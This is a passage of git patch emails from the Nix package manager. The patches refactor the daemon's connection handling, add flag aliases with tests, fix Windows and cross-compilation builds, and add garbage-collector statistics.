(GET_PROTOCOL_MINOR(conn.protoVersion) >= 25) { + auto name = readString(conn.from); + auto camStr = readString(conn.from); auto refs = WorkerProto::Serialise::read(*store, rconn); bool repairBool; - from >> repairBool; + conn.from >> repairBool; auto repair = RepairFlag{repairBool}; logger->startWork(); auto pathInfo = [&]() { // NB: FramedSource must be out of scope before logger->stopWork(); auto [contentAddressMethod, hashAlgo] = ContentAddressMethod::parseWithAlgo(camStr); - FramedSource source(from); + FramedSource source(conn.from); FileSerialisationMethod dumpMethod; switch (contentAddressMethod.getFileIngestionMethod()) { case FileIngestionMethod::Flat: @@ -439,7 +434,7 @@ static void performOp(TunnelLogger * logger, ref store, bool fixed; uint8_t recursive; std::string hashAlgoRaw; - from >> baseName >> fixed /* obsolete */ >> recursive >> hashAlgoRaw; + conn.from >> baseName >> fixed /* obsolete */ >> recursive >> hashAlgoRaw; if (recursive > true) throw Error("unsupported FileIngestionMethod with value of %i; you may need to upgrade nix-daemon", recursive); method = recursive @@ -459,11 +454,11 @@ static void performOp(TunnelLogger * logger, ref store, so why all this extra work? We still parse the NAR so that we aren't sending arbitrary data to `saved` unwittingly`, and we know when the NAR ends so we don't - consume the rest of `from` and can't parse another + consume the rest of `conn.from` and can't parse another command. (We don't trust `addToStoreFromDump` to not eagerly consume the entire stream it's given, past the length of the Nar. */ - TeeSource savedNARSource(from, saved); + TeeSource savedNARSource(conn.from, saved); NullFileSystemObjectSink sink; /* just parse the NAR */ parseDump(sink, savedNARSource); }); @@ -472,20 +467,20 @@ static void performOp(TunnelLogger * logger, ref store, *dumpSource, baseName, FileSerialisationMethod::NixArchive, method, hashAlgo); logger->stopWork(); - to << store->printStorePath(path); + conn.to << store->printStorePath(path); } break; } case WorkerProto::Op::AddMultipleToStore: { bool repair, dontCheckSigs; - from >> repair >> dontCheckSigs; + conn.from >> repair >> dontCheckSigs; if (!trusted && dontCheckSigs) dontCheckSigs = false; logger->startWork(); { - FramedSource source(from); + FramedSource source(conn.from); store->addMultipleToStore(source, RepairFlag{repair}, dontCheckSigs ? NoCheckSigs : CheckSigs); @@ -495,8 +490,8 @@ static void performOp(TunnelLogger * logger, ref store, } case WorkerProto::Op::AddTextToStore: { - std::string suffix = readString(from); - std::string s = readString(from); + std::string suffix = readString(conn.from); + std::string s = readString(conn.from); auto refs = WorkerProto::Serialise::read(*store, rconn); logger->startWork(); auto path = ({ @@ -504,37 +499,37 @@ static void performOp(TunnelLogger * logger, ref store, store->addToStoreFromDump(source, suffix, FileSerialisationMethod::Flat, ContentAddressMethod::Raw::Text, HashAlgorithm::SHA256, refs, NoRepair); }); logger->stopWork(); - to << store->printStorePath(path); + conn.to << store->printStorePath(path); break; } case WorkerProto::Op::ExportPath: { - auto path = store->parseStorePath(readString(from)); - readInt(from); // obsolete + auto path = store->parseStorePath(readString(conn.from)); + readInt(conn.from); // obsolete logger->startWork(); - TunnelSink sink(to); + TunnelSink sink(conn.to); store->exportPath(path, sink); logger->stopWork(); - to << 1; + conn.to << 1; break; } case WorkerProto::Op::ImportPaths: { logger->startWork(); - TunnelSource source(from, to); + TunnelSource source(conn.from, conn.to); auto paths = store->importPaths(source, trusted ? NoCheckSigs : CheckSigs); logger->stopWork(); Strings paths2; for (auto & i : paths) paths2.push_back(store->printStorePath(i)); - to << paths2; + conn.to << paths2; break; } case WorkerProto::Op::BuildPaths: { auto drvs = WorkerProto::Serialise::read(*store, rconn); BuildMode mode = bmNormal; - if (GET_PROTOCOL_MINOR(clientVersion) >= 15) { + if (GET_PROTOCOL_MINOR(conn.protoVersion) >= 15) { mode = WorkerProto::Serialise::read(*store, rconn); /* Repairing is not atomic, so disallowed for "untrusted" @@ -552,7 +547,7 @@ static void performOp(TunnelLogger * logger, ref store, logger->startWork(); store->buildPaths(drvs, mode); logger->stopWork(); - to << 1; + conn.to << 1; break; } @@ -578,7 +573,7 @@ static void performOp(TunnelLogger * logger, ref store, } case WorkerProto::Op::BuildDerivation: { - auto drvPath = store->parseStorePath(readString(from)); + auto drvPath = store->parseStorePath(readString(conn.from)); BasicDerivation drv; /* * Note: unlike wopEnsurePath, this operation reads a @@ -589,7 +584,7 @@ static void performOp(TunnelLogger * logger, ref store, * it cannot be trusted that its outPath was calculated * correctly. */ - readDerivation(from, *store, drv, Derivation::nameFromPath(drvPath)); + readDerivation(conn.from, *store, drv, Derivation::nameFromPath(drvPath)); auto buildMode = WorkerProto::Serialise::read(*store, rconn); logger->startWork(); @@ -655,20 +650,20 @@ static void performOp(TunnelLogger * logger, ref store, } case WorkerProto::Op::EnsurePath: { - auto path = store->parseStorePath(readString(from)); + auto path = store->parseStorePath(readString(conn.from)); logger->startWork(); store->ensurePath(path); logger->stopWork(); - to << 1; + conn.to << 1; break; } case WorkerProto::Op::AddTempRoot: { - auto path = store->parseStorePath(readString(from)); + auto path = store->parseStorePath(readString(conn.from)); logger->startWork(); store->addTempRoot(path); logger->stopWork(); - to << 1; + conn.to << 1; break; } @@ -678,24 +673,24 @@ static void performOp(TunnelLogger * logger, ref store, "you are not privileged to create perm roots\n\n" "hint: you can just do this client-side without special privileges, and probably want to do that instead."); auto storePath = WorkerProto::Serialise::read(*store, rconn); - Path gcRoot = absPath(readString(from)); + Path gcRoot = absPath(readString(conn.from)); logger->startWork(); auto & localFSStore = require(*store); localFSStore.addPermRoot(storePath, gcRoot); logger->stopWork(); - to << gcRoot; + conn.to << gcRoot; break; } case WorkerProto::Op::AddIndirectRoot: { - Path path = absPath(readString(from)); + Path path = absPath(readString(conn.from)); logger->startWork(); auto & indirectRootStore = require(*store); indirectRootStore.addIndirectRoot(path); logger->stopWork(); - to << 1; + conn.to << 1; break; } @@ -703,7 +698,7 @@ static void performOp(TunnelLogger * logger, ref store, case WorkerProto::Op::SyncWithGC: { logger->startWork(); logger->stopWork(); - to << 1; + conn.to << 1; break; } @@ -717,24 +712,24 @@ static void performOp(TunnelLogger * logger, ref store, for (auto & i : roots) size += i.second.size(); - to << size; + conn.to << size; for (auto & [target, links] : roots) for (auto & link : links) - to << link << store->printStorePath(target); + conn.to << link << store->printStorePath(target); break; } case WorkerProto::Op::CollectGarbage: { GCOptions options; - options.action = (GCOptions::GCAction) readInt(from); + options.action = (GCOptions::GCAction) readInt(conn.from); options.pathsToDelete = WorkerProto::Serialise::read(*store, rconn); - from >> options.ignoreLiveness >> options.maxFreed; + conn.from >> options.ignoreLiveness >> options.maxFreed; // obsolete fields - readInt(from); - readInt(from); - readInt(from); + readInt(conn.from); + readInt(conn.from); + readInt(conn.from); GCResults results; @@ -745,7 +740,7 @@ static void performOp(TunnelLogger * logger, ref store, gcStore.collectGarbage(options, results); logger->stopWork(); - to << results.paths << results.bytesFreed << 0 /* obsolete */; + conn.to << results.paths << results.bytesFreed << 0 /* obsolete */; break; } @@ -754,24 +749,24 @@ static void performOp(TunnelLogger * logger, ref store, ClientSettings clientSettings; - clientSettings.keepFailed = readInt(from); - clientSettings.keepGoing = readInt(from); - clientSettings.tryFallback = readInt(from); - clientSettings.verbosity = (Verbosity) readInt(from); - clientSettings.maxBuildJobs = readInt(from); - clientSettings.maxSilentTime = readInt(from); - readInt(from); // obsolete useBuildHook - clientSettings.verboseBuild = lvlError == (Verbosity) readInt(from); - readInt(from); // obsolete logType - readInt(from); // obsolete printBuildTrace - clientSettings.buildCores = readInt(from); - clientSettings.useSubstitutes = readInt(from); + clientSettings.keepFailed = readInt(conn.from); + clientSettings.keepGoing = readInt(conn.from); + clientSettings.tryFallback = readInt(conn.from); + clientSettings.verbosity = (Verbosity) readInt(conn.from); + clientSettings.maxBuildJobs = readInt(conn.from); + clientSettings.maxSilentTime = readInt(conn.from); + readInt(conn.from); // obsolete useBuildHook + clientSettings.verboseBuild = lvlError == (Verbosity) readInt(conn.from); + readInt(conn.from); // obsolete logType + readInt(conn.from); // obsolete printBuildTrace + clientSettings.buildCores = readInt(conn.from); + clientSettings.useSubstitutes = readInt(conn.from); - if (GET_PROTOCOL_MINOR(clientVersion) >= 12) { - unsigned int n = readInt(from); + if (GET_PROTOCOL_MINOR(conn.protoVersion) >= 12) { + unsigned int n = readInt(conn.from); for (unsigned int i = 0; i < n; i++) { - auto name = readString(from); - auto value = readString(from); + auto name = readString(conn.from); + auto value = readString(conn.from); clientSettings.overrides.emplace(name, value); } } @@ -788,20 +783,20 @@ static void performOp(TunnelLogger * logger, ref store, } case WorkerProto::Op::QuerySubstitutablePathInfo: { - auto path = store->parseStorePath(readString(from)); + auto path = store->parseStorePath(readString(conn.from)); logger->startWork(); SubstitutablePathInfos infos; store->querySubstitutablePathInfos({{path, std::nullopt}}, infos); logger->stopWork(); auto i = infos.find(path); if (i == infos.end()) - to << 0; + conn.to << 0; else { - to << 1 + conn.to << 1 << (i->second.deriver ? store->printStorePath(*i->second.deriver) : ""); WorkerProto::write(*store, wconn, i->second.references); - to << i->second.downloadSize - << i->second.narSize; + conn.to << i->second.downloadSize + << i->second.narSize; } break; } @@ -809,7 +804,7 @@ static void performOp(TunnelLogger * logger, ref store, case WorkerProto::Op::QuerySubstitutablePathInfos: { SubstitutablePathInfos infos; StorePathCAMap pathsMap = {}; - if (GET_PROTOCOL_MINOR(clientVersion) < 22) { + if (GET_PROTOCOL_MINOR(conn.protoVersion) < 22) { auto paths = WorkerProto::Serialise::read(*store, rconn); for (auto & path : paths) pathsMap.emplace(path, std::nullopt); @@ -818,12 +813,12 @@ static void performOp(TunnelLogger * logger, ref store, logger->startWork(); store->querySubstitutablePathInfos(pathsMap, infos); logger->stopWork(); - to << infos.size(); + conn.to << infos.size(); for (auto & i : infos) { - to << store->printStorePath(i.first) - << (i.second.deriver ? store->printStorePath(*i.second.deriver) : ""); + conn.to << store->printStorePath(i.first) + << (i.second.deriver ? store->printStorePath(*i.second.deriver) : ""); WorkerProto::write(*store, wconn, i.second.references); - to << i.second.downloadSize << i.second.narSize; + conn.to << i.second.downloadSize << i.second.narSize; } break; } @@ -837,22 +832,22 @@ static void performOp(TunnelLogger * logger, ref store, } case WorkerProto::Op::QueryPathInfo: { - auto path = store->parseStorePath(readString(from)); + auto path = store->parseStorePath(readString(conn.from)); std::shared_ptr info; logger->startWork(); try { info = store->queryPathInfo(path); } catch (InvalidPath &) { - if (GET_PROTOCOL_MINOR(clientVersion) < 17) throw; + if (GET_PROTOCOL_MINOR(conn.protoVersion) < 17) throw; } logger->stopWork(); if (info) { - if (GET_PROTOCOL_MINOR(clientVersion) >= 17) - to << 1; + if (GET_PROTOCOL_MINOR(conn.protoVersion) >= 17) + conn.to << 1; WorkerProto::write(*store, wconn, static_cast(*info)); } else { - assert(GET_PROTOCOL_MINOR(clientVersion) >= 17); - to << 0; + assert(GET_PROTOCOL_MINOR(conn.protoVersion) >= 17); + conn.to << 0; } break; } @@ -861,61 +856,61 @@ static void performOp(TunnelLogger * logger, ref store, logger->startWork(); store->optimiseStore(); logger->stopWork(); - to << 1; + conn.to << 1; break; case WorkerProto::Op::VerifyStore: { bool checkContents, repair; - from >> checkContents >> repair; + conn.from >> checkContents >> repair; logger->startWork(); if (repair && !trusted) throw Error("you are not privileged to repair paths"); bool errors = store->verifyStore(checkContents, (RepairFlag) repair); logger->stopWork(); - to << errors; + conn.to << errors; break; } case WorkerProto::Op::AddSignatures: { - auto path = store->parseStorePath(readString(from)); - StringSet sigs = readStrings(from); + auto path = store->parseStorePath(readString(conn.from)); + StringSet sigs = readStrings(conn.from); logger->startWork(); store->addSignatures(path, sigs); logger->stopWork(); - to << 1; + conn.to << 1; break; } case WorkerProto::Op::NarFromPath: { - auto path = store->parseStorePath(readString(from)); + auto path = store->parseStorePath(readString(conn.from)); logger->startWork(); logger->stopWork(); - dumpPath(store->toRealPath(path), to); + dumpPath(store->toRealPath(path), conn.to); break; } case WorkerProto::Op::AddToStoreNar: { bool repair, dontCheckSigs; - auto path = store->parseStorePath(readString(from)); - auto deriver = readString(from); - auto narHash = Hash::parseAny(readString(from), HashAlgorithm::SHA256); + auto path = store->parseStorePath(readString(conn.from)); + auto deriver = readString(conn.from); + auto narHash = Hash::parseAny(readString(conn.from), HashAlgorithm::SHA256); ValidPathInfo info { path, narHash }; if (deriver != "") info.deriver = store->parseStorePath(deriver); info.references = WorkerProto::Serialise::read(*store, rconn); - from >> info.registrationTime >> info.narSize >> info.ultimate; - info.sigs = readStrings(from); - info.ca = ContentAddress::parseOpt(readString(from)); - from >> repair >> dontCheckSigs; + conn.from >> info.registrationTime >> info.narSize >> info.ultimate; + info.sigs = readStrings(conn.from); + info.ca = ContentAddress::parseOpt(readString(conn.from)); + conn.from >> repair >> dontCheckSigs; if (!trusted && dontCheckSigs) dontCheckSigs = false; if (!trusted) info.ultimate = false; - if (GET_PROTOCOL_MINOR(clientVersion) >= 23) { + if (GET_PROTOCOL_MINOR(conn.protoVersion) >= 23) { logger->startWork(); { - FramedSource source(from); + FramedSource source(conn.from); store->addToStore(info, source, (RepairFlag) repair, dontCheckSigs ? NoCheckSigs : CheckSigs); } @@ -925,10 +920,10 @@ static void performOp(TunnelLogger * logger, ref store, else { std::unique_ptr source; StringSink saved; - if (GET_PROTOCOL_MINOR(clientVersion) >= 21) - source = std::make_unique(from, to); + if (GET_PROTOCOL_MINOR(conn.protoVersion) >= 21) + source = std::make_unique(conn.from, conn.to); else { - TeeSource tee { from, saved }; + TeeSource tee { conn.from, saved }; NullFileSystemObjectSink ether; parseDump(ether, tee); source = std::make_unique(saved.s); @@ -956,15 +951,15 @@ static void performOp(TunnelLogger * logger, ref store, WorkerProto::write(*store, wconn, willBuild); WorkerProto::write(*store, wconn, willSubstitute); WorkerProto::write(*store, wconn, unknown); - to << downloadSize << narSize; + conn.to << downloadSize << narSize; break; } case WorkerProto::Op::RegisterDrvOutput: { logger->startWork(); - if (GET_PROTOCOL_MINOR(clientVersion) < 31) { - auto outputId = DrvOutput::parse(readString(from)); - auto outputPath = StorePath(readString(from)); + if (GET_PROTOCOL_MINOR(conn.protoVersion) < 31) { + auto outputId = DrvOutput::parse(readString(conn.from)); + auto outputPath = StorePath(readString(conn.from)); store->registerDrvOutput(Realisation{ .id = outputId, .outPath = outputPath}); } else { @@ -977,10 +972,10 @@ static void performOp(TunnelLogger * logger, ref store, case WorkerProto::Op::QueryRealisation: { logger->startWork(); - auto outputId = DrvOutput::parse(readString(from)); + auto outputId = DrvOutput::parse(readString(conn.from)); auto info = store->queryRealisation(outputId); logger->stopWork(); - if (GET_PROTOCOL_MINOR(clientVersion) < 31) { + if (GET_PROTOCOL_MINOR(conn.protoVersion) < 31) { std::set outPaths; if (info) outPaths.insert(info->outPath); WorkerProto::write(*store, wconn, outPaths); @@ -993,19 +988,19 @@ static void performOp(TunnelLogger * logger, ref store, } case WorkerProto::Op::AddBuildLog: { - StorePath path{readString(from)}; + StorePath path{readString(conn.from)}; logger->startWork(); if (!trusted) throw Error("you are not privileged to add logs"); auto & logStore = require(*store); { - FramedSource source(from); + FramedSource source(conn.from); StringSink sink; source.drainInto(sink); logStore.addBuildLog(path, sink.s); } logger->stopWork(); - to << 1; + conn.to << 1; break; } @@ -1090,7 +1085,7 @@ void processConnection( debug("performing daemon worker op: %d", op); try { - performOp(tunnelLogger, store, trusted, recursive, clientVersion, conn.from, conn.to, op); + performOp(tunnelLogger, store, trusted, recursive, conn, op); } catch (Error & e) { /* If we're not in a state where we can send replies, then something went wrong processing the input of the From 74dccef004baed15c957715a8f3c93f10854d105 Mon Sep 17 00:00:00 2001 From: detroyejr Date: Thu, 18 Jul 2024 18:30:31 -0400 Subject: [PATCH 1140/1251] addFlag: use aliases --- src/libstore/globals.cc | 3 +++ src/libutil/config-impl.hh | 2 ++ src/libutil/config.cc | 2 ++ 3 files changed, 7 insertions(+) diff --git a/src/libstore/globals.cc b/src/libstore/globals.cc index fa4c0ba7f..60b3ee34e 100644 --- a/src/libstore/globals.cc +++ b/src/libstore/globals.cc @@ -304,18 +304,21 @@ template<> void BaseSetting::convertToArg(Args & args, const std::s { args.addFlag({ .longName = name, + .aliases = aliases, .description = "Enable sandboxing.", .category = category, .handler = {[this]() { override(smEnabled); }} }); args.addFlag({ .longName = "no-" + name, + .aliases = aliases, .description = "Disable sandboxing.", .category = category, .handler = {[this]() { override(smDisabled); }} }); args.addFlag({ .longName = "relaxed-" + name, + .aliases = aliases, .description = "Enable sandboxing, but allow builds to disable it.", .category = category, .handler = {[this]() { override(smRelaxed); }} diff --git a/src/libutil/config-impl.hh b/src/libutil/config-impl.hh index 1d349fab5..c3aa61ddb 100644 --- a/src/libutil/config-impl.hh +++ b/src/libutil/config-impl.hh @@ -81,6 +81,7 @@ void BaseSetting::convertToArg(Args & args, const std::string & category) { args.addFlag({ .longName = name, + .aliases = aliases, .description = fmt("Set the `%s` setting.", name), .category = category, .labels = {"value"}, @@ -91,6 +92,7 @@ void BaseSetting::convertToArg(Args & args, const std::string & category) if (isAppendable()) args.addFlag({ .longName = "extra-" + name, + .aliases = aliases, .description = fmt("Append to the `%s` setting.", name), .category = category, .labels = {"value"}, diff --git a/src/libutil/config.cc b/src/libutil/config.cc index 726e5091e..b39948261 100644 --- a/src/libutil/config.cc +++ b/src/libutil/config.cc @@ -292,6 +292,7 @@ template<> void BaseSetting::convertToArg(Args & args, const std::string & { args.addFlag({ .longName = name, + .aliases = aliases, .description = fmt("Enable the `%s` setting.", name), .category = category, .handler = {[this] { override(true); }}, @@ -299,6 +300,7 @@ template<> void BaseSetting::convertToArg(Args & args, const std::string & }); args.addFlag({ .longName = "no-" + name, + .aliases = aliases, .description = fmt("Disable the `%s` setting.", name), .category = category, .handler = {[this] { override(false); }}, From d54dfbf879d8c4e2f98aca54221e757fd1035b10 Mon Sep 17 00:00:00 2001 From: detroyejr Date: Fri, 19 Jul 2024 15:49:56 -0400 Subject: [PATCH 1141/1251] addFlag: test that alias flags are allowed --- tests/functional/build.sh | 12 ++++++++++++ tests/functional/eval.sh | 4 ++++ 2 files changed, 16 insertions(+) diff --git a/tests/functional/build.sh b/tests/functional/build.sh index 9de953d8c..5396a465f 100755 --- a/tests/functional/build.sh +++ b/tests/functional/build.sh @@ -140,6 +140,18 @@ nix build --impure -f multiple-outputs.nix --json e --no-link | jq --exit-status (.outputs | keys == ["a_a", "b"])) ' +# Make sure that the 3 types of aliases work +# BaseSettings, BaseSettings, and BaseSettings. +nix build --impure -f multiple-outputs.nix --json e --no-link \ + --build-max-jobs 3 \ + --gc-keep-outputs \ + --build-use-sandbox | \ + jq --exit-status ' + (.[0] | + (.drvPath | match(".*multiple-outputs-e.drv")) and + (.outputs | keys == ["a_a", "b"])) +' + # Make sure that `--stdin` works and does not apply any defaults printf "" | nix build --no-link --stdin --json | jq --exit-status '. == []' printf "%s\n" "$drv^*" | nix build --no-link --stdin --json | jq --exit-status '.[0]|has("drvPath")' diff --git a/tests/functional/eval.sh b/tests/functional/eval.sh index 27cdce478..22d2d02a2 100755 --- a/tests/functional/eval.sh +++ b/tests/functional/eval.sh @@ -58,3 +58,7 @@ fi # Test that unknown settings are warned about out="$(expectStderr 0 nix eval --option foobar baz --expr '""' --raw)" [[ "$(echo "$out" | grep foobar | wc -l)" = 1 ]] + +# Test flag alias +out="$(nix eval --expr '{}' --build-cores 1)" +[[ "$(echo "$out" | wc -l)" = 1 ]] From 0ec5e3a1bccb17b79a1927fd4b9e99195062db7f Mon Sep 17 00:00:00 2001 From: poweredbypie <67135060+poweredbypie@users.noreply.github.com> Date: Sun, 21 Jul 2024 15:03:04 -0700 Subject: [PATCH 1142/1251] Progress on Wine CI support, MinGW dev shell with Meson (#10975) * Only build perl subproject on Linux * Fix various Windows regressions * Don't put the emulator hook in test builds We run the tests in a separate derivation. Only need it for the dev shell. * Fix native dev shells * Fix cross dev shells we don't know how to emulate Co-authored-by: PoweredByPie Co-authored-by: Joachim Schiele Co-authored-by: John Ericson --- flake.nix | 20 ++++++++++++----- meson.build | 4 +++- src/libexpr-c/nix_api_expr.cc | 12 +++++----- src/libexpr-c/nix_api_external.cc | 4 ++-- src/libexpr-c/nix_api_value.cc | 4 ++-- .../build/drv-output-substitution-goal.cc | 2 +- src/libutil/file-system.cc | 6 ++++- src/libutil/fs-sink.cc | 4 ++-- src/nix/meson.build | 22 +++++++++++-------- 9 files changed, 49 insertions(+), 29 deletions(-) diff --git a/flake.nix b/flake.nix index 51dbc3091..ff2c8ecfa 100644 --- a/flake.nix +++ b/flake.nix @@ -278,6 +278,7 @@ in "-D${prefix}:${rest}"; havePerl = stdenv.buildPlatform == stdenv.hostPlatform && stdenv.hostPlatform.isUnix; + ignoreCrossFile = flags: builtins.filter (flag: !(lib.strings.hasInfix "cross-file" flag)) flags; in { pname = "shell-for-" + attrs.pname; @@ -309,10 +310,12 @@ }; mesonFlags = - map (transformFlag "libutil") pkgs.nixComponents.nix-util.mesonFlags - ++ map (transformFlag "libstore") pkgs.nixComponents.nix-store.mesonFlags - ++ map (transformFlag "libfetchers") pkgs.nixComponents.nix-fetchers.mesonFlags - ++ lib.optionals havePerl (map (transformFlag "perl") pkgs.nixComponents.nix-perl-bindings.mesonFlags) + map (transformFlag "libutil") (ignoreCrossFile pkgs.nixComponents.nix-util.mesonFlags) + ++ map (transformFlag "libstore") (ignoreCrossFile pkgs.nixComponents.nix-store.mesonFlags) + ++ map (transformFlag "libfetchers") (ignoreCrossFile pkgs.nixComponents.nix-fetchers.mesonFlags) + ++ lib.optionals havePerl (map (transformFlag "perl") (ignoreCrossFile pkgs.nixComponents.nix-perl-bindings.mesonFlags)) + ++ map (transformFlag "libexpr") (ignoreCrossFile pkgs.nixComponents.nix-expr.mesonFlags) + ++ map (transformFlag "libcmd") (ignoreCrossFile pkgs.nixComponents.nix-cmd.mesonFlags) ; nativeBuildInputs = attrs.nativeBuildInputs or [] @@ -322,9 +325,16 @@ ++ lib.optionals havePerl pkgs.nixComponents.nix-perl-bindings.nativeBuildInputs ++ pkgs.nixComponents.nix-internal-api-docs.nativeBuildInputs ++ pkgs.nixComponents.nix-external-api-docs.nativeBuildInputs + ++ lib.optional + (!stdenv.buildPlatform.canExecute stdenv.hostPlatform + # Hack around https://github.com/nixos/nixpkgs/commit/bf7ad8cfbfa102a90463433e2c5027573b462479 + && !(stdenv.hostPlatform.isWindows && stdenv.buildPlatform.isDarwin) + && stdenv.hostPlatform.emulatorAvailable pkgs.buildPackages + && lib.meta.availableOn stdenv.buildPlatform (stdenv.hostPlatform.emulator pkgs.buildPackages)) + pkgs.buildPackages.mesonEmulatorHook ++ [ pkgs.buildPackages.cmake - pkgs.shellcheck + pkgs.buildPackages.shellcheck modular.pre-commit.settings.package (pkgs.writeScriptBin "pre-commit-hooks-install" modular.pre-commit.settings.installationScript) diff --git a/meson.build b/meson.build index 1c46c5c28..1554244ab 100644 --- a/meson.build +++ b/meson.build @@ -29,7 +29,9 @@ subproject('libexpr-c') subproject('libmain-c') # Language Bindings -subproject('perl') +if not meson.is_cross_build() + subproject('perl') +endif # Testing subproject('nix-util-test-support') diff --git a/src/libexpr-c/nix_api_expr.cc b/src/libexpr-c/nix_api_expr.cc index 547453f8f..8f21d7022 100644 --- a/src/libexpr-c/nix_api_expr.cc +++ b/src/libexpr-c/nix_api_expr.cc @@ -14,10 +14,10 @@ #include "nix_api_util.h" #include "nix_api_util_internal.h" -#ifdef HAVE_BOEHMGC -#include -#define GC_INCLUDE_NEW 1 -#include "gc_cpp.h" +#if HAVE_BOEHMGC +# include +# define GC_INCLUDE_NEW 1 +# include "gc_cpp.h" #endif nix_err nix_libexpr_init(nix_c_context * context) @@ -131,7 +131,7 @@ void nix_state_free(EvalState * state) delete state; } -#ifdef HAVE_BOEHMGC +#if HAVE_BOEHMGC std::unordered_map< const void *, unsigned int, @@ -207,7 +207,7 @@ nix_err nix_value_decref(nix_c_context * context, nix_value *x) void nix_gc_register_finalizer(void * obj, void * cd, void (*finalizer)(void * obj, void * cd)) { -#ifdef HAVE_BOEHMGC +#if HAVE_BOEHMGC GC_REGISTER_FINALIZER(obj, finalizer, cd, 0, 0); #endif } diff --git a/src/libexpr-c/nix_api_external.cc b/src/libexpr-c/nix_api_external.cc index 3565092a4..fa78eb5df 100644 --- a/src/libexpr-c/nix_api_external.cc +++ b/src/libexpr-c/nix_api_external.cc @@ -14,7 +14,7 @@ #include -#ifdef HAVE_BOEHMGC +#if HAVE_BOEHMGC # include "gc/gc.h" # define GC_INCLUDE_NEW 1 # include "gc_cpp.h" @@ -174,7 +174,7 @@ ExternalValue * nix_create_external_value(nix_c_context * context, NixCExternalV context->last_err_code = NIX_OK; try { auto ret = new -#ifdef HAVE_BOEHMGC +#if HAVE_BOEHMGC (GC) #endif NixCExternalValue(*desc, v); diff --git a/src/libexpr-c/nix_api_value.cc b/src/libexpr-c/nix_api_value.cc index cb5d9ee89..845e87935 100644 --- a/src/libexpr-c/nix_api_value.cc +++ b/src/libexpr-c/nix_api_value.cc @@ -14,7 +14,7 @@ #include "nix_api_value.h" #include "value/context.hh" -#ifdef HAVE_BOEHMGC +#if HAVE_BOEHMGC # include "gc/gc.h" # define GC_INCLUDE_NEW 1 # include "gc_cpp.h" @@ -131,7 +131,7 @@ PrimOp * nix_alloc_primop( try { using namespace std::placeholders; auto p = new -#ifdef HAVE_BOEHMGC +#if HAVE_BOEHMGC (GC) #endif nix::PrimOp{ diff --git a/src/libstore/build/drv-output-substitution-goal.cc b/src/libstore/build/drv-output-substitution-goal.cc index 02284d93c..dedcad2b1 100644 --- a/src/libstore/build/drv-output-substitution-goal.cc +++ b/src/libstore/build/drv-output-substitution-goal.cc @@ -62,7 +62,7 @@ Goal::Co DrvOutputSubstitutionGoal::init() #ifndef _WIN32 outPipe->readSide.get() #else - &outPipe + &*outPipe #endif }, true, false); diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc index 9042e3a5e..060a806fb 100644 --- a/src/libutil/file-system.cc +++ b/src/libutil/file-system.cc @@ -416,7 +416,11 @@ void deletePath(const fs::path & path) void createDir(const Path & path, mode_t mode) { - if (mkdir(path.c_str(), mode) == -1) + if (mkdir(path.c_str() +#ifndef _WIN32 + , mode +#endif + ) == -1) throw SysError("creating directory '%1%'", path); } diff --git a/src/libutil/fs-sink.cc b/src/libutil/fs-sink.cc index 194e86fdd..3246e0902 100644 --- a/src/libutil/fs-sink.cc +++ b/src/libutil/fs-sink.cc @@ -97,7 +97,7 @@ void RestoreSink::createRegularFile(const CanonPath & path, std::function Date: Mon, 22 Jul 2024 12:05:50 +0200 Subject: [PATCH 1143/1251] maintainers/README: Update Monday meeting time (#11147) --- maintainers/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/maintainers/README.md b/maintainers/README.md index 2a718e283..b92833497 100644 --- a/maintainers/README.md +++ b/maintainers/README.md @@ -50,7 +50,7 @@ The team meets twice a week (times are denoted in the [Europe/Amsterdam](https:/ - mark it as draft if it is blocked on the contributor - escalate it back to the team by moving it to To discuss, and leaving a comment as to why the issue needs to be discussed again. -- Work meeting: [Mondays 13:00-15:00 Europe/Amsterdam](https://www.google.com/calendar/event?eid=Ym52NDdzYnRic2NzcDcybjZiNDhpNzhpa3NfMjAyNDA1MTNUMTIwMDAwWiBiOW81MmZvYnFqYWs4b3E4bGZraGczdDBxZ0Bn) +- Work meeting: [Mondays 14:00-16:00 Europe/Amsterdam](https://www.google.com/calendar/event?eid=Ym52NDdzYnRic2NzcDcybjZiNDhpNzhpa3NfMjAyNDA1MTNUMTIwMDAwWiBiOW81MmZvYnFqYWs4b3E4bGZraGczdDBxZ0Bn) 1. Code review on pull requests from [In review](#in-review). 2. Other chores and tasks. From b16861d82eab5627f79d4573221f5f97048711f5 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 22 Jul 2024 12:56:01 +0200 Subject: [PATCH 1144/1251] libexpr: Track and show GC time and cycle number --- src/libexpr/eval-gc.cc | 12 ++++++++++++ src/libexpr/eval-gc.hh | 7 +++++++ src/libexpr/eval.cc | 13 +++++++++++++ 3 files changed, 32 insertions(+) diff --git a/src/libexpr/eval-gc.cc b/src/libexpr/eval-gc.cc index baf9df332..c8e2adb94 100644 --- a/src/libexpr/eval-gc.cc +++ b/src/libexpr/eval-gc.cc @@ -155,6 +155,10 @@ static inline void initGCReal() there. */ GC_set_no_dls(1); + /* Enable perf measurements. This is just a setting; not much of a + start of something. */ + GC_start_performance_measurement(); + GC_INIT(); GC_set_oom_fn(oomHandler); @@ -205,6 +209,7 @@ static inline void initGCReal() #endif static bool gcInitialised = false; +static GC_word gcCyclesAfterInit = 0; void initGC() { @@ -216,6 +221,7 @@ void initGC() #endif gcInitialised = true; + gcCyclesAfterInit = GC_get_gc_no(); } void assertGCInitialized() @@ -223,4 +229,10 @@ void assertGCInitialized() assert(gcInitialised); } +size_t getGCCycles() +{ + assertGCInitialized(); + return GC_get_gc_no() - gcCyclesAfterInit; } + +} // namespace nix diff --git a/src/libexpr/eval-gc.hh b/src/libexpr/eval-gc.hh index cd4ea914d..76f019729 100644 --- a/src/libexpr/eval-gc.hh +++ b/src/libexpr/eval-gc.hh @@ -1,6 +1,8 @@ #pragma once ///@file +#include + namespace nix { /** @@ -13,4 +15,9 @@ void initGC(); */ void assertGCInitialized(); +/** + * The number of GC cycles since initGC(). + */ +size_t getGCCycles(); + } diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index 4f01d0a62..11c3282ad 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -2610,6 +2610,11 @@ void EvalState::printStatistics() #if HAVE_BOEHMGC GC_word heapSize, totalBytes; GC_get_heap_usage_safe(&heapSize, 0, 0, 0, &totalBytes); + double gcFullOnlyTime = ({ + auto ms = GC_get_full_gc_total_time(); + ms * 0.001; + }); + auto gcCycles = getGCCycles(); #endif auto 